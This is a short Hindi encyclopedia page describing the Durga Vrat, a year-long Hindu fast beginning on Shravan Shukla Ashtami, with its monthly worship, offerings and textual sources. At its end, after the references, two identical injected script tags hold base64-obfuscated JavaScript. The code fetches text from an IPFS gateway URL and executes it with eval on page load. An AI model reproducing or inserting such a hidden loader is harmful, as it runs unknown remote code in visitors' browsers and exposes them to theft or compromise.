दुर्गा व्रत

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:नेविगेशन, खोजें
  • भारत में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में उल्लिखित हिन्दू धर्म का एक व्रत संस्कार है।
  • श्रावण शुक्ल पक्ष की अष्टमी को यह व्रत आरम्भ होता है।
  • यह व्रत एक वर्ष के लिए किया जाता है।
  • 12 मासों में देवी के विभिन्न नामों से पूजा की जाती है।
  • 12 मासों में व्रतकर्ता विभिन्न स्थानों से प्राप्त पंक से शरीर को ढंक लेता है।
  • नैवेद्य भी विभिन्न होता है (जिसमें आश्विन 8 पर हरिण एवं बकरे का मांस भी होता है)।[1]
  • यही बात कृत्यकल्पतरु[2] में भी है, किन्तु वहाँ पर इसे दुर्गाष्टमी कहा गया है।


टीका टिप्पणी और संदर्भ

  1. हेमाद्रि (व्रतखण्ड 1, 856-862); कृत्यरत्नाकर (238-244
  2. कृत्यकल्पतरु (व्रतखण्ड 225-233

अन्य संबंधित लिंक

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>